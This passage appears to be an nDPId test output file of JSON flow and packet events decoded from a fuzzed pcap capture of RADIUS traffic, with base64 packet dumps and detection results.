l6b25XJQBpQWNjZXNzBQYAAAAIGjEAAAAJASthdWRpdC1zZXNzaW9uLWmVPTEwZmYxMGFjMDAwMDAwYmQ4OWE1MjI1YiwgNWIyMmE1ODkvZjA6Nzk6NjA6ZDE6N2Q6MzcvMjIwBAasHAEQIA5WWldDMlRlc3RMYGIaDAAAN2MBBgAAAAIGBgAAAAIMBgAABRQ9BgAAABNABgAAAA1BBgAAPAZRBDU2TzoCAQA4ATAzMTE0ODAwNzM2MzgwNzJAd2xhbi5wbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZxoUAABXyAcOVlpXQzJUZXN0TGFiGgoAAFfICARFVBoQAABXyIoKU3RhbmRhcmQaEAAAV8gLClRlc3QgTGFiGgkAAFfIDwMxGgoAAFfIEAROShoRAABXyBELTHluZGh1cnN0GgwAAFfIEgYAAADJGhcAAFfINhFWWlcgQzIgVGVzdCBMYWIaCwAAV8YlBVZ6VxoNAAA4IQ4HMDcwNzEabQAAOCERBgAAAAAaFQAAOCESD0ludmFsaWQgVmFsdWUaHQAAOCETFzQwLjgwNDg4Mk4tdjQuMTAyODM5Vxr2AAA4IRQGAAABAhoMAABnIRUGAAAAAhoVAAA4IRYPU3RhZGl1bURpcmVjdBoMAAAFgwcGwFBKmVASXNvLQ3D63zYosbefsmlVrg=="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":123,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":1,"flow_first_seen":1528997265856,"flow_last_seen":0,"flow_tot_l4_data_len":711,"flow_min_l4_data_len":711,"flow_max_l4_data_len":711,"flow_avg_l4_data_len":711,"midstream":0,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.25.53","src_port":30224,"dst_port":1812,"l4_proto":"udp","ndpi": {"proto":"Radius","breed":"Acceptable","category":"Network"}} +00492{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":124,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":1,"flow_first_seen":1528997266054,"flow_last_seen":0,"flow_tot_l4_data_len":205,"flow_min_l4_data_len":205,"flow_max_l4_data_len":205,"flow_avg_l4_data_len":205,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.56.64.30","src_port":1812,"dst_port":9472,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00676{"flow_id":27,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":124,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997266,"pkt_ts_usec":54389,"pkt_caplen":239,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":239,"pkt_l4_len":205,"pkt":"ABRP+4rqcNuYVcUnCABFAADh\/tpAAPwRVO\/G4hk1CjhAHgcUJQAAzZq1C0gAxTQDE\/syEk8COAKXrk0TJQABNTAzMTE0ODAwNzM2MzgwNzJAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuTHR3b3JrLm9yZywgNWIyMmE1ODkvZjA6Nzk6NjA6ZDE6N2Q6MzcvMjIwT0oBAgBIFwEAAAEFAADQlOBVyiA51UB5+BTRf1Z+AgUAAJqmOeZiwwAAElk1sqzX2LSLAQACCwUAAAF5eGigvLsuc5FvQXnfthRQEr72IV3uvADHqUwosXSRIBM="} +00526{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":124,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":1,"flow_first_seen":1528997266054,"flow_last_seen":0,"flow_tot_l4_data_len":205,"flow_min_l4_data_len":205,"flow_max_l4_data_len":205,"flow_avg_l4_data_len":205,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.56.64.30","src_port":1812,"dst_port":9472,"l4_proto":"udp","ndpi": {"proto":"Radius","breed":"Acceptable","category":"Network"}} +00494{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":127,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":1,"flow_first_seen":1528997261783,"flow_last_seen":0,"flow_tot_l4_data_len":205,"flow_min_l4_data_len":205,"flow_max_l4_data_len":205,"flow_avg_l4_data_len":205,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.82.53","dst_ip":"10.12.64.30","src_port":1812,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00494{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":127,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":25,"flow_packet_id":1,"flow_first_seen":1528997262272,"flow_last_seen":0,"flow_tot_l4_data_len":284,"flow_min_l4_data_len":284,"flow_max_l4_data_len":284,"flow_avg_l4_data_len":284,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.64.30","src_port":1895,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00494{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":127,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":1,"flow_first_seen":1528997265856,"flow_last_seen":0,"flow_tot_l4_data_len":711,"flow_min_l4_data_len":711,"flow_max_l4_data_len":711,"flow_avg_l4_data_len":711,"midstream":0,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.25.53","src_port":30224,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00494{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":127,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":22,"flow_packet_id":1,"flow_first_seen":1528997257373,"flow_last_seen":0,"flow_tot_l4_data_len":205,"flow_min_l4_data_len":205,"flow_max_l4_data_len":205,"flow_avg_l4_data_len":205,"midstream":0,"l3_proto":"ip4","src_ip":"198.230.25.62","dst_ip":"10.12.64.30","src_port":1812,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00493{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":127,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":1,"flow_first_seen":1528997266054,"flow_last_seen":0,"flow_tot_l4_data_len":205,"flow_min_l4_data_len":205,"flow_max_l4_data_len":205,"flow_avg_l4_data_len":205,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.56.64.30","src_port":1812,"dst_port":9472,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00472{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":127,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":1,"flow_first_seen":1528997260021,"flow_last_seen":0,"flow_tot_l4_data_len":158,"flow_min_l4_data_len":158,"flow_max_l4_data_len":158,"flow_avg_l4_data_len":158,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.62","dst_ip":"10.12.64.30","l4_proto":85,"ndpi": {"proto":"Unknown","breed":"Unrated"}} +00458{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":127,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":1,"flow_first_seen":1528997260021,"flow_last_seen":0,"flow_tot_l4_data_len":158,"flow_min_l4_data_len":158,"flow_max_l4_data_len":158,"flow_avg_l4_data_len":158,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.62","dst_ip":"10.12.64.30","l4_proto":85,"flow_datalink":1,"flow_max_packets":15} +00493{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":128,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":1,"flow_first_seen":1528997294408,"flow_last_seen":0,"flow_tot_l4_data_len":205,"flow_min_l4_data_len":205,"flow_max_l4_data_len":205,"flow_avg_l4_data_len":205,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.28.64.30","src_port":1812,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00677{"flow_id":28,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":128,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997294,"pkt_ts_usec":408774,"pkt_caplen":239,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":239,"pkt_l4_len":205,"pkt":"ABRP+4rqcNuYVcUnCABFAADh\/xpAAPsRVa\/G4hk1ChxAHgcUchAAzU8kC0oAxWEDMLFDKTYIfgbKyEyHMfIBNTAzMTE0ODAyNTA4NjQ2MjhAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZywgNWIyMmE1YWUvMDA6NTY6Y2Q6NmQ6NDI6NTkvMjIxT0oBAjRIFwEAAAEFAACfFoRHbsDvI\/+46yBaysIsAgUAAJcLQv7ORgAASiNmmimRHNuLAQACCwUAAKEH8wkM8t7F6HlgkovXWwdQEo++iUihP9VHkRTh6mD7kgU="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":128,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":1,"flow_first_seen":1528997294408,"flow_last_seen":0,"flow_tot_l4_data_len":205,"flow_min_l4_data_len":205,"flow_max_l4_data_len":205,"flow_avg_l4_data_len":205,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.28.64.30","src_port":1812,"dst_port":29200,"l4_proto":"udp","ndpi": {"proto":"Radius","breed":"Acceptable","category":"Network"}} +01283{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":129,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997294,"pkt_ts_usec":665856,"pkt_caplen":725,"pkt_type":43690,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":725,"pkt_l4_len":0,"pkt":"AAAMB6xAqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} +00173{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":129,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","type":43690} +00744{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":130,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997294,"pkt_ts_usec":874819,"pkt_caplen":318,"pkt_type":2296,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":318,"pkt_l4_len":0,"pkt":"ABRP+4rqcNuYVcUnCPhFAAEw\/yNAAPwRVFfG4hk1CgxAHgcUchABHADcAksBFFLEf\/kOKgAErzLPbpm7axIaCwAAV8gbBVNQQxpuAAABNxA040janeSai176IwGdu20qfHT6JdVX190nBVzQ8vbUeCsV1xduBdcl\/a+H+pp\/9\/XZ2p4RNITv9nAcFfSIQXySxypwJddtE1ldHXfDo7SxndAJGg66ub4EawJGyutGrkBcdNZ\/YktYATUwMzExNDgwMjUwODY0NjI4QHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yay5vcmcsIDViqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq"} +00172{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":130,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","type":2296} +01311{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":131,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997299,"pkt_ts_usec":762525,"pkt_caplen":745,"pkt_type":43690,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":745,"pkt_l4_len":0,"pkt":"AKqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqg=="} +00173{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":131,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","type":43690} +00494{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":135,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":1,"flow_first_seen":1528997294408,"flow_last_seen":0,"flow_tot_l4_data_len":205,"flow_min_l4_data_len":205,"flow_max_l4_data_len":205,"flow_avg_l4_data_len":205,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.28.64.30","src_port":1812,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01309{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":135,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997307,"pkt_ts_usec":38054,"pkt_caplen":745,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":745,"pkt_l4_len":0,"pkt":"AAAMB6xAABRP+4rqCABFAALbIQRLAP8RAAAKDEAexpYZNXIQBxQCxwAAAU4Cv5wdq9spC4sVMXMqpc65j64aCgAAV8gOBFVTGgwAAFfIDQZ3aWZpGg8AAFfICQlXSVNQUjEwGgkAADghDQMwNwZbIqW6ATUwMzExNDgwMDczNjM4MDcyQHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BCblJ0d29yay5vcmdZAxB+CDFjaXNjL4MGAAAAAR8TZjAtNzktNjAtZDEtN2QtMzceJTAwLWE3LTQyLWQwLWUwLTAwOlZlcml6b25XaUZpQWNjZXNzBQYyAAAIGjEAAAAJASthdWRpdC1zZXNzaW9uLWlkPTEwZmYxMGFjMDAwMDAPYmZiM2E1SjI1YiwgNWIyMmE1YjMvZjA6Nyk6NjA6ZDE6N2Q6MzcvMjJqBAasFAESIA5WWldDMlRlc3RMYWIaDAAAN2MBBgAAAAIGBgAAAAIMBgAABRQ9BgAAABOqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqg=="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":135,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":711} +00493{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":139,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":1,"flow_first_seen":1528997311323,"flow_last_seen":0,"flow_tot_l4_data_len":711,"flow_min_l4_data_len":711,"flow_max_l4_data_len":711,"flow_avg_l4_data_len":711,"midstream":0,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.224.25.53","src_port":29200,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01351{"flow_id":29,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":139,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997311,"pkt_ts_usec":323632,"pkt_caplen":745,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":745,"pkt_l4_len":711,"pkt":"AAAMB6xAABRP+4rqCABFAALbIQZAAP8RAAAKDEAexuAZNXIQBxQCxwAAAVACv44mJt0CcxbAbqYZaENsgGMaCgAAV8gOBFVTGgwAAFfIDQZ3aWZpGg8AAFfIdQlXSVNQUmMwGgkAADghDQMxNwZbIqW\/ATUwMzExNDgwMDczNjM4MDcyQHdsYW4ubW5jNDgwLk1jYzMxMS4zZ3BwbmV0d29ydi5vcmdZAxB+CDFjaXNjb4MGAAAAAR8TZjAtNzktNjAtZDEtN2QtMzceJTAwLWE3LTQyLWQwLWUwLTAwOlZlcml6b25XaUZpQWNjZXNzBQYAAAAIGjEAAAAJASthdWRpdC1zZXNzaW9uLWlkPTEwZmYxMGFjMDAwMDAwYmZiM2E1MjI1YiwgNXIyMmE1YjMvZjA6Nzk6NjA6ZDE6N2Q6MzcvMjIyBAasFAEQIA5WWldDMlRlc3RMYWIaDAAAN2MBBgAAAAIGBgAAAAIMBgAABRQ9BgAAABNABgAAAA1BBgAAAAZRBDU2TzoCAQA4ATAzMTE0ODAwNzM2MzgwNzJAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZxoUAABXyAcOVlpXQzJUZXN0TGFiGgoAAFfICARFVBoQAABXyAoKU3RhbmRhcmQaEAAAV8gLClRlc3QgTGFiGgkAAFfIDwNbGgoAAFfIEAROShoRAABXyBELTHluZGh1cnN0GgwAAFfIEgYAAADJGhcAAFfIHRFWWlcgQzIgVGVzdCBMYWIaCwAAV8glBVZ6VxoNAAA4IQ4HMDcwNzEaDAAAOCERBgAAAAAaFQAAOCESD0ludmFsaWQgVmFsdWUaHQIAOCETFzQwLjgwNDg4Mk4tNzQuMTAyODM5VxoMAAA4IRQGAAABAhoMAAA4IRUGAAAAAhoVAAA4IRYPU3RhZGl1bURpcmVjdBoMAAAFgwcGxFBKmVASgNwWy5gYQ7uGHIUIDaTD8g=="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":139,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":1,"flow_first_seen":1528997311323,"flow_last_seen":0,"flow_tot_l4_data_len":711,"flow_min_l4_data_len":711,"flow_max_l4_data_len":711,"flow_avg_l4_data_len":711,"midstream":0,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.224.25.53","src_port":29200,"dst_port":1812,"l4_proto":"udp","ndpi": {"proto":"Radius","breed":"Acceptable","category":"Network"}} +00494{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":143,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":1,"flow_first_seen":1528997311323,"flow_last_seen":0,"flow_tot_l4_data_len":711,"flow_min_l4_data_len":711,"flow_max_l4_data_len":711,"flow_avg_l4_data_len":711,"midstream":0,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.224.25.53","src_port":29200,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01283{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":145,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997395,"pkt_ts_usec":223381,"pkt_caplen":725,"pkt_type":43690,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":725,"pkt_l4_len":0,"pkt":"AAAMqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} +00173{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":145,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","type":43690} +00492{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":148,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":30,"flow_packet_id":1,"flow_first_seen":1528997399308,"flow_last_seen":0,"flow_tot_l4_data_len":205,"flow_min_l4_data_len":205,"flow_max_l4_data_len":205,"flow_avg_l4_data_len":205,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.37.0","src_port":1812,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00676{"flow_id":30,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":148,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997399,"pkt_ts_usec":308771,"pkt_caplen":239,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":239,"pkt_l4_len":205,"pkt":"ABRPJQDqcNuYVcUnCABFAADhALRAAPwRUxbG4hk1CgwlAAcUchAAzVpOC1QAxRxqj+ts\/zbuXZza\/XyA7U4BNTAzMTE0ODAwNzM2MzgwNzJAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b1ZrLm9yZywgNWIyMiUAMTIvZjA6Nxk6NjA6ZDE6N2S6MzcvMjI0T0oBAgBIFwEAAAEFAAClYf4DzpLiqdyPyTgI99pYAgUAAG+BQKA0HAAAC9tSu9kUjAmLAQACCwUAANTPOn7BAwke3m06BT0FpdxQErKfyMWPNDJCfwFi2pzKF6M="} +00526{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":148,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":30,"flow_packet_id":1,"flow_first_seen":1528997399308,"flow_last_seen":0,"flow_tot_l4_data_len":205,"flow_min_l4_data_len":205,"flow_max_l4_data_len":205,"flow_avg_l4_data_len":205,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.37.0","src_port":1812,"dst_port":29200,"l4_proto":"udp","ndpi": {"proto":"Radius","breed":"Acceptable","category":"Network"}} +00742{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":150,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997399,"pkt_ts_usec":801176,"pkt_caplen":318,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":318,"pkt_l4_len":0,"pkt":"ABRP+4pTcNuYVcUnCAAbAAEwAL1AAPwRUr7G4hk1CgxAHgcUchABHDwbAlUBFM63G2\/ABME95vC\/YtPM3\/caCwAAV8gbBVNQQxpuAAABNxA0xuSFjY5XIJgFQGu0Uv0OYONLFS6YzD8pAXH0KZXHpfwyK4L\/92l5H6gqAq8nL0kepb8RNLxJYMKQCK0eGlYCRiBKtSavfrre3EDS6oPiPCuIZCCfvU44Ccl11WwK9jFxTgAolMtFATUwMzFPNDgwMDczNjM4MDcyQHdsYW4ubW5jNDgwLm1DYzMxMS4zZ3BwbmV0d29yay5vcmcsIDViMjJhNjEyL2YwOjc5OjYwOmQxOjdkOjM3LzIyNFkMOTA4NDIxMzI5MhIJU3VjY2VzcxkFU1BDTwYDAgAEUBL2pfBK3Ll7exMTohpXZCAH"} +00167{"basic_event_id":2,"basic_event_name":"Unknown L3 protocol","thread_id":0,"packet_id":150,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","protocol":2048} 